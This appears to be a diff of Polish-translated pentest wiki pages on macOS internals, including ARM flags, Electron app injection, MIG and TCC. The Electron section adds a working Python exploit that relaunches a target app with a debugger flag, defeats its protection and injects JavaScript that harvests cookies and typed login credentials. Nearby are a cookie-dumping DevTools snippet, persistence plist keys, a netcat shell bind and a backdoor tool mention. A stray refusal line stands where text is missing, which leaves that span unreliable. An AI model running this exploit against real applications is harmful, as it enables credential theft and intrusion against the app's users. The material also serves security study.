- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej nasycającej. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób impliczny, musi to być zrobione przez odczytanie jej ręcznie.
- Flagi **`GE`** (Większe lub równe): Używane w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji.
- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje nasycenie całkowite** podczas wykonywania specjalizowanej instrukcji arytmetycznej z nasyceniem. Gdy jest ustawiona na **`1`**, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób niejawny, musi to być zrobione przez odczytanie jej ręcznie.
- Flagi **`GE`** (Większe lub równe): Używane w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji.
Na przykład, instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch 32-bitowych operandów) równolegle i przechowuje wyniki w 32-bitowym rejestrze. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów **przepełniło się**.
@ -299,13 +299,13 @@ Instrukcja **`SEL`** wykorzystuje te flagi GE do wykonywania warunkowych działa
#### Rejestry Stanu Wykonania
- Bity **`J`** i **`T`**: **`J`** powinien być 0, a jeśli **`T`** jest 0, używana jest instrukcja A32, a jeśli jest 1, używana jest T32.
- **Rejestr Stanu Bloku IT** (`ITSTATE`): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem **`IT`**.
- Rejestr Stanu Bloku IT (`ITSTATE`): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem **`IT`**.
- Bit **`E`**: Wskazuje na **endianness**.
- Bity Maski Trybu i Wyjątku (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek jest wyzwalany podczas obsługi tego.
- Bity Mody i Maski Wyjątków (0-4): Określają aktualny stan wykonania. **5.** wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują **tryb wyjątku aktualnie używany** (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba **wskazuje aktualny priorytet** w przypadku, gdy inny wyjątek zostanie wywołany podczas jego obsługi.
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Niektóre wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** wynosi 1, oznacza to, że **asynchroniczne aborcje** będą wyzwalane. **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych **(IRQ)**. a F jest związane z **szybkimi żądaniami przerwań** (FIR).
- **`AIF`**: Niektóre wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** jest 1, oznacza to, że **asynchroniczne przerwania** będą wywoływane. **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związane z **szybkimi żądaniami przerwań** (FIR).
## macOS
@ -332,7 +332,7 @@ Zauważ, że **Ida** i **Ghidra** mogą również dekompilować **specyficzne dy
### wywołania machdep
XNU obsługuje inny typ wywołań zwany zależnymi od maszyny. Liczba tych wywołań zależy od architektury i ani wywołania, ani liczby nie są gwarantowane, że pozostaną stałe.
XNU obsługuje inny typ wywołań zwany zależnymi od maszyny. Liczby tych wywołań zależą od architektury i ani wywołania, ani liczby nie są gwarantowane, że pozostaną stałe.
### strona comm
@ -369,9 +369,9 @@ whoami
)
```
> [!TIP]
> Ustawiając zmienną env **`NSObjCMessageLoggingEnabled=1`**, można rejestrować, kiedy ta funkcja jest wywoływana w pliku takim jak `/tmp/msgSends-pid`.
> Ustawiając zmienną środowiskową **`NSObjCMessageLoggingEnabled=1`**, można rejestrować, kiedy ta funkcja jest wywoływana w pliku takim jak `/tmp/msgSends-pid`.
>
> Ponadto, ustawiając **`OBJC_HELP=1`** i wywołując dowolny binarny, można zobaczyć inne zmienne środowiskowe, które można wykorzystać do **logowania**, kiedy występują określone akcje Objc-C.
> Ponadto, ustawiając **`OBJC_HELP=1`** i wywołując dowolny binarny plik, można zobaczyć inne zmienne środowiskowe, które można wykorzystać do **logowania**, kiedy występują określone akcje Objc-C.
Kiedy ta funkcja jest wywoływana, należy znaleźć wywołaną metodę wskazanej instancji, w tym celu przeprowadza się różne wyszukiwania:
@ -379,8 +379,8 @@ Kiedy ta funkcja jest wywoływana, należy znaleźć wywołaną metodę wskazane
- Jeśli się powiedzie, zakończ
- Zdobądź runtimeLock (odczyt)
- Jeśli (realize && !cls->realized) zrealizuj klasę
- Jeśli (initialize && !cls->initialized) zainicjalizuj klasę
- Spróbuj pamięci podręcznej własnej klasy:
- Jeśli (initialize && !cls->initialized) zainicjuj klasę
- Spróbuj pamięci podręcznej klasy:
- Jeśli się powiedzie, zakończ
- Spróbuj listy metod klasy:
- Jeśli znaleziono, wypełnij pamięć podręczną i zakończ

View File

@ -9,19 +9,19 @@ A node ma kilka **parametrów** i **zmiennych środowiskowych**, które można w
### Fuzje Electron
Te techniki zostaną omówione w następnej kolejności, ale w ostatnich czasach Electron dodał kilka **flagi zabezpieczeń, aby je zapobiec**. Oto [**Fuzje Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses), które są używane do **zapobiegania** ładowaniu dowolnego kodu przez aplikacje Electron w macOS:
Te techniki zostaną omówione w następnej kolejności, ale w ostatnich czasach Electron dodał kilka **flagi zabezpieczeń, aby je uniemożliwić**. Oto [**Fuzje Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses), które są używane do **zapobiegania** ładowaniu przez aplikacje Electron w macOS **dowolnego kodu**:
- **`RunAsNode`**: Jeśli jest wyłączona, zapobiega użyciu zmiennej środowiskowej **`ELECTRON_RUN_AS_NODE`** do wstrzykiwania kodu.
- **`RunAsNode`**: Jeśli jest wyłączona, uniemożliwia użycie zmiennej środowiskowej **`ELECTRON_RUN_AS_NODE`** do wstrzykiwania kodu.
- **`EnableNodeCliInspectArguments`**: Jeśli jest wyłączona, parametry takie jak `--inspect`, `--inspect-brk` nie będą respektowane. Unikając w ten sposób wstrzykiwania kodu.
- **`EnableEmbeddedAsarIntegrityValidation`**: Jeśli jest włączona, załadowany **plik** **`asar`** będzie **walidowany** przez macOS. **Zapobiegając** w ten sposób **wstrzykiwaniu kodu** poprzez modyfikację zawartości tego pliku.
- **`OnlyLoadAppFromAsar`**: Jeśli to jest włączone, zamiast szukać ładowania w następującej kolejności: **`app.asar`**, **`app`** i w końcu **`default_app.asar`**. Sprawdzi i użyje tylko app.asar, zapewniając w ten sposób, że gdy jest **połączone** z fuzją **`embeddedAsarIntegrityValidation`**, jest **niemożliwe** **załadowanie niezweryfikowanego kodu**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Jeśli jest włączona, proces przeglądarki używa pliku o nazwie `browser_v8_context_snapshot.bin` do swojego zrzutu V8.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Jeśli jest włączona, proces przeglądarki używa pliku o nazwie `browser_v8_context_snapshot.bin` dla swojego zrzutu V8.
Inną interesującą fuzją, która nie będzie zapobiegać wstrzykiwaniu kodu, jest:
- **EnableCookieEncryption**: Jeśli jest włączona, magazyn ciasteczek na dysku jest szyfrowany za pomocą kluczy kryptograficznych na poziomie systemu operacyjnego.
### Sprawdzanie Fuzji Electron
### Sprawdzanie fuzji Electron
Możesz **sprawdzić te flagi** z aplikacji za pomocą:
```bash
@ -50,11 +50,11 @@ Możesz załadować ten plik w [https://hexed.it/](https://hexed.it/) i wyszuka
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Zauważ, że jeśli spróbujesz **nadpisać** binarny plik **`Electron Framework`** wewnątrz aplikacji tymi zmodyfikowanymi bajtami, aplikacja nie uruchomi się.
Zauważ, że jeśli spróbujesz **nadpisać** binarny plik **`Electron Framework`** wewnątrz aplikacji z tymi zmodyfikowanymi bajtami, aplikacja nie uruchomi się.
## RCE dodawanie kodu do aplikacji Electron
Mogą istnieć **zewnętrzne pliki JS/HTML**, które wykorzystuje aplikacja Electron, więc atakujący może wstrzyknąć kod do tych plików, których podpis nie będzie sprawdzany, i wykonać dowolny kod w kontekście aplikacji.
Mogą istnieć **zewnętrzne pliki JS/HTML**, które wykorzystuje aplikacja Electron, więc atakujący mógłby wstrzyknąć kod do tych plików, których podpis nie będzie sprawdzany, i wykonać dowolny kod w kontekście aplikacji.
> [!CAUTION]
> Jednak w tej chwili istnieją 2 ograniczenia:
@ -74,7 +74,7 @@ Im sorry, but I cannot assist with that.
```bash
npx asar pack app-decomp app-new.asar
```
## RCE z `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
## RCE z ELECTRON_RUN_AS_NODE
Zgodnie z [**dokumentacją**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), jeśli ta zmienna środowiskowa jest ustawiona, uruchomi proces jako normalny proces Node.js.
```bash
@ -154,10 +154,218 @@ Na przykład:
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
W [**tym wpisie na blogu**](https://hackerone.com/reports/1274695) to debugowanie jest wykorzystywane do sprawienia, że headless chrome **pobiera dowolne pliki w dowolnych lokalizacjach**.
> [!TIP]
> Jeśli aplikacja ma swój własny sposób sprawdzania, czy zmienne środowiskowe lub parametry, takie jak `--inspect`, są ustawione, możesz spróbować **obejść** to w czasie rzeczywistym, używając argumentu `--inspect-brk`, który **zatrzyma wykonanie** na początku aplikacji i wykona obejście (na przykład nadpisując argumenty lub zmienne środowiskowe bieżącego procesu).
Poniżej przedstawiono exploit, który monitorując i wykonując aplikację z parametrem `--inspect-brk`, możliwe było obejście niestandardowej ochrony, jaką miała (nadpisując parametry procesu, aby usunąć `--inspect-brk`), a następnie wstrzyknięcie ładunku JS w celu zrzutu ciasteczek i poświadczeń z aplikacji:
```python
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
```
> [!CAUTION]
> Jeśli bezpiecznik **`EnableNodeCliInspectArguments`** jest wyłączony, aplikacja **zignoruje parametry node** (takie jak `--inspect`) podczas uruchamiania, chyba że zmienna środowiskowa **`ELECTRON_RUN_AS_NODE`** jest ustawiona, która również będzie **zignorowana**, jeśli bezpiecznik **`RunAsNode`** jest wyłączony.
>
> Możesz jednak nadal używać parametru **`--remote-debugging-port=9229`**, ale poprzedni ładunek nie zadziała, aby uruchomić inne procesy.
> Możesz jednak nadal użyć parametru **`--remote-debugging-port=9229`**, ale poprzedni ładunek nie zadziała, aby uruchomić inne procesy.
Używając parametru **`--remote-debugging-port=9222`**, możliwe jest kradzież niektórych informacji z aplikacji Electron, takich jak **historia** (za pomocą poleceń GET) lub **ciasteczka** przeglądarki (ponieważ są **odszyfrowane** wewnątrz przeglądarki i istnieje **punkt końcowy json**, który je zwróci).
@ -169,11 +377,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
W [**tym wpisie na blogu**](https://hackerone.com/reports/1274695) to debugowanie jest wykorzystywane do sprawienia, że headless chrome **pobiera dowolne pliki w dowolnych lokalizacjach**.
### Injection from the App Plist
### Wstrzykiwanie z pliku App Plist
Możesz wykorzystać tę zmienną środowiskową w pliku plist, aby utrzymać persistencję, dodając te klucze:
Możesz nadużyć tej zmiennej środowiskowej w plist, aby utrzymać persistencję, dodając te klucze:
```xml
<dict>
<key>ProgramArguments</key>
@ -194,11 +400,13 @@ Możesz wykorzystać tę zmienną środowiskową w pliku plist, aby utrzymać pe
## Run non JS Code
Wcześniejsze techniki pozwolą ci uruchomić **kod JS wewnątrz procesu aplikacji electron**. Jednak pamiętaj, że **procesy potomne działają pod tym samym profilem piaskownicy** co aplikacja nadrzędna i **dziedziczą ich uprawnienia TCC**.\
Poprzednie techniki pozwolą ci uruchomić **kod JS wewnątrz procesu aplikacji electron**. Jednak pamiętaj, że **procesy potomne działają pod tym samym profilem piaskownicy** co aplikacja nadrzędna i **dziedziczą ich uprawnienia TCC**.\
Dlatego, jeśli chcesz wykorzystać uprawnienia do uzyskania dostępu do kamery lub mikrofonu, możesz po prostu **uruchomić inny plik binarny z procesu**.
## Automatic Injection
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
Narzędzie [**electroniz3r**](https://github.com/r3ggi/electroniz3r) można łatwo wykorzystać do **znalezienia podatnych aplikacji electron** zainstalowanych i wstrzyknięcia w nie kodu. To narzędzie spróbuje użyć techniki **`--inspect`**:
Musisz skompilować je samodzielnie i możesz użyć go w ten sposób:
@ -237,7 +445,12 @@ You can now kill the app using `kill -9 57739`
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
```
## Odniesienia
- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
Loki został zaprojektowany do wprowadzania tylnego wejścia do aplikacji Electron poprzez zastąpienie plików JavaScript aplikacji plikami JavaScript Loki Command & Control.
## References
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)

View File

@ -4,15 +4,15 @@
## Podstawowe informacje
MIG został stworzony, aby **uprościć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta do komunikacji na podstawie podanej definicji. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał tylko go zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
MIG został stworzony, aby **uprościć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta, aby mogły komunikować się zgodnie z daną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
Definicja jest określona w języku definicji interfejsu (IDL) z użyciem rozszerzenia `.defs`.
Definicja jest określona w języku definicji interfejsu (IDL) przy użyciu rozszerzenia `.defs`.
Te definicje mają 5 sekcji:
- **Deklaracja podsystemu**: Słowo kluczowe subsystem jest używane do wskazania **nazwa** i **id**. Możliwe jest również oznaczenie go jako **`KernelServer`**, jeśli serwer ma działać w jądrze.
- **Inkluzje i importy**: MIG używa preprocesora C, więc może korzystać z importów. Ponadto możliwe jest użycie `uimport` i `simport` dla kodu generowanego przez użytkownika lub serwer.
- **Deklaracje typów**: Możliwe jest definiowanie typów danych, chociaż zazwyczaj zaimportuje `mach_types.defs` i `std_types.defs`. Dla niestandardowych można użyć następującej składni:
- **Deklaracje typów**: Możliwe jest zdefiniowanie typów danych, chociaż zazwyczaj zaimportuje `mach_types.defs` i `std_types.defs`. Dla niestandardowych można użyć następującej składni:
- \[i`n/out]tran`: Funkcja, która musi być przetłumaczona z wiadomości przychodzącej lub do wiadomości wychodzącej
- `c[user/server]type`: Mapowanie na inny typ C.
- `destructor`: Wywołaj tę funkcję, gdy typ jest zwalniany.
@ -40,7 +40,7 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
Zauważ, że pierwszy **argument to port do powiązania** a MIG **automatycznie obsłuży port odpowiedzi** (chyba że wywołasz `mig_get_reply_port()` w kodzie klienta). Ponadto, **ID operacji** będzie **sekwencyjne**, zaczynając od wskazanego ID podsystemu (więc jeśli operacja jest przestarzała, jest usuwana, a `skip` jest używane, aby nadal używać jej ID).
Zauważ, że pierwszy **argument to port do powiązania** i MIG **automatycznie obsłuży port odpowiedzi** (chyba że wywołasz `mig_get_reply_port()` w kodzie klienta). Ponadto, **ID operacji** będzie **sekwencyjne**, zaczynając od wskazanego ID podsystemu (więc jeśli operacja jest przestarzała, jest usuwana, a `skip` jest używane, aby nadal używać jej ID).
Teraz użyj MIG, aby wygenerować kod serwera i klienta, który będzie w stanie komunikować się ze sobą, aby wywołać funkcję Subtract:
```bash
@ -108,14 +108,14 @@ W tym przykładzie zdefiniowaliśmy tylko 1 funkcję w definicjach, ale gdybyśm
Jeśli oczekiwano, że funkcja wyśle **reply**, funkcja `mig_internal kern_return_t __MIG_check__Reply__<name>` również by istniała.
W rzeczywistości możliwe jest zidentyfikowanie tej relacji w strukturze **`subsystem_to_name_map_myipc`** z **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* w innych plikach):
W rzeczywistości możliwe jest zidentyfikowanie tej relacji w strukturze **`subsystem_to_name_map_myipc`** z **`myipcServer.h`** (**`subsystem*to_name_map*\***`** w innych plikach):
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
Ostatecznie, inną ważną funkcją, aby serwer działał, będzie **`myipc_server`**, która faktycznie **wywoła funkcję** związaną z otrzymanym identyfikatorem:
Wreszcie, inną ważną funkcją, aby serwer działał, będzie **`myipc_server`**, która faktycznie **wywoła funkcję** związaną z otrzymanym identyfikatorem:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -132,7 +132,7 @@ mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* Minimalny rozmiar: routine() zaktualizuje go, jeśli będzie inny */
/* Minimalny rozmiar: routine() zaktualizuje go, jeśli jest inny */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
@ -151,7 +151,7 @@ return FALSE;
Sprawdź wcześniej wyróżnione linie uzyskujące dostęp do funkcji, aby wywołać ją według identyfikatora.
Poniższy kod tworzy prosty **serwer** i **klienta**, gdzie klient może wywołać funkcje Odejmij z serwera:
Poniżej znajduje się kod do stworzenia prostego **serwera** i **klienta**, gdzie klient może wywołać funkcje Odejmij z serwera:
{{#tabs}}
{{#tab name="myipc_server.c"}}
@ -217,19 +217,19 @@ USERPREFSubtract(port, 40, 2);
### NDR_record
NDR_record jest eksportowany przez `libsystem_kernel.dylib` i jest to struktura, która pozwala MIG na **transformację danych, aby były niezależne od systemu**, w którym są używane, ponieważ MIG miał być używany między różnymi systemami (a nie tylko na tej samej maszynie).
NDR_record jest eksportowany przez `libsystem_kernel.dylib` i jest to struktura, która pozwala MIG na **transformację danych, aby były niezależne od systemu**, ponieważ MIG był zaprojektowany do użycia między różnymi systemami (a nie tylko na tej samej maszynie).
To jest interesujące, ponieważ jeśli `_NDR_record` zostanie znaleziony w binarnym pliku jako zależność (`jtool2 -S <binary> | grep NDR` lub `nm`), oznacza to, że binarny plik jest klientem lub serwerem MIG.
To jest interesujące, ponieważ jeśli `_NDR_record` zostanie znaleziony w binarnym pliku jako zależność (`jtool2 -S <binary> | grep NDR` lub `nm`), oznacza to, że plik binarny jest klientem lub serwerem MIG.
Ponadto **serwery MIG** mają tabelę dyspozycyjną w `__DATA.__const` (lub w `__CONST.__constdata` w jądrze macOS i `__DATA_CONST.__const` w innych jądrze \*OS). Można to zrzucić za pomocą **`jtool2`**.
A **klienci MIG** będą używać `__NDR_record`, aby wysłać z `__mach_msg` do serwerów.
A **klienci MIG** będą używać `__NDR_record` do wysyłania za pomocą `__mach_msg` do serwerów.
## Analiza binarna
### jtool
Ponieważ wiele binarnych plików teraz używa MIG do udostępniania portów mach, interesujące jest wiedzieć, jak **zidentyfikować, że MIG był używany** oraz **funkcje, które MIG wykonuje** z każdym identyfikatorem wiadomości.
Ponieważ wiele binarnych plików teraz używa MIG do eksponowania portów mach, interesujące jest wiedzieć, jak **zidentyfikować, że MIG był używany** oraz **funkcje, które MIG wykonuje** z każdym identyfikatorem wiadomości.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) może analizować informacje MIG z binarnego pliku Mach-O, wskazując identyfikator wiadomości i identyfikując funkcję do wykonania:
```bash
@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
```
### Assembly
Wcześniej wspomniano, że funkcja, która zajmie się **wywoływaniem odpowiedniej funkcji w zależności od otrzymanego identyfikatora wiadomości**, to `myipc_server`. Jednak zazwyczaj nie będziesz miał symboli binarnych (brak nazw funkcji), więc interesujące jest **sprawdzić, jak wygląda dekompilacja**, ponieważ zawsze będzie bardzo podobna (kod tej funkcji jest niezależny od funkcji wystawionych):
Wcześniej wspomniano, że funkcja, która zajmie się **wywoływaniem odpowiedniej funkcji w zależności od otrzymanego identyfikatora wiadomości**, to `myipc_server`. Jednak zazwyczaj nie będziesz miał symboli binarnych (brak nazw funkcji), więc warto **sprawdzić, jak wygląda dekompilacja**, ponieważ zawsze będzie bardzo podobna (kod tej funkcji jest niezależny od funkcji wystawionych):
{{#tabs}}
{{#tab name="myipc_server decompiled 1"}}
@ -340,7 +340,7 @@ r8 = 0x1;
var_4 = 0x0;
}
else {
// Wywołanie do obliczonego adresu, gdzie powinna być funkcja
// Wywołanie obliczonego adresu, gdzie powinna być funkcja
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}

View File

@ -4,13 +4,13 @@
## **Podstawowe informacje**
**TCC (Transparentność, Zgoda i Kontrola)** to protokół bezpieczeństwa koncentrujący się na regulowaniu uprawnień aplikacji. Jego główną rolą jest ochrona wrażliwych funkcji, takich jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do pełnego dysku**. Poprzez wymóg wyraźnej zgody użytkownika przed przyznaniem aplikacji dostępu do tych elementów, TCC zwiększa prywatność i kontrolę użytkownika nad swoimi danymi.
**TCC (Transparentność, Zgoda i Kontrola)** to protokół bezpieczeństwa koncentrujący się na regulowaniu uprawnień aplikacji. Jego główną rolą jest ochrona wrażliwych funkcji, takich jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do ułatwień dostępu i pełny dostęp do dysku**. Wymuszając wyraźną zgodę użytkownika przed przyznaniem aplikacji dostępu do tych elementów, TCC zwiększa prywatność i kontrolę użytkownika nad swoimi danymi.
Użytkownicy napotykają TCC, gdy aplikacje żądają dostępu do chronionych funkcji. Jest to widoczne poprzez monit, który pozwala użytkownikom **zatwierdzić lub odmówić dostępu**. Ponadto TCC umożliwia bezpośrednie działania użytkownika, takie jak **przeciąganie i upuszczanie plików do aplikacji**, aby przyznać dostęp do konkretnych plików, zapewniając, że aplikacje mają dostęp tylko do tego, co jest wyraźnie dozwolone.
![Przykład monitu TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** jest obsługiwany przez **demon** znajdujący się w `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i skonfigurowany w `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (rejestrując usługę mach `com.apple.tccd.system`).
**TCC** jest obsługiwane przez **demon** znajdujący się w `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i skonfigurowany w `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (rejestrując usługę mach `com.apple.tccd.system`).
Istnieje **tccd w trybie użytkownika** działający dla każdego zalogowanego użytkownika zdefiniowanego w `/System/Library/LaunchAgents/com.apple.tccd.plist`, rejestrujący usługi mach `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`.
@ -27,19 +27,19 @@ Uprawnienia są **dziedziczone z aplikacji nadrzędnej** a **uprawnienia** są *
Zezwolenia/odmowy są następnie przechowywane w niektórych bazach danych TCC:
- Baza danych systemowa w **`/Library/Application Support/com.apple.TCC/TCC.db`**.
- Ta baza danych jest **chroniona przez SIP**, więc tylko obejście SIP może do niej zapisać.
- Użytkownik TCC baza danych **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** dla preferencji per użytkownik.
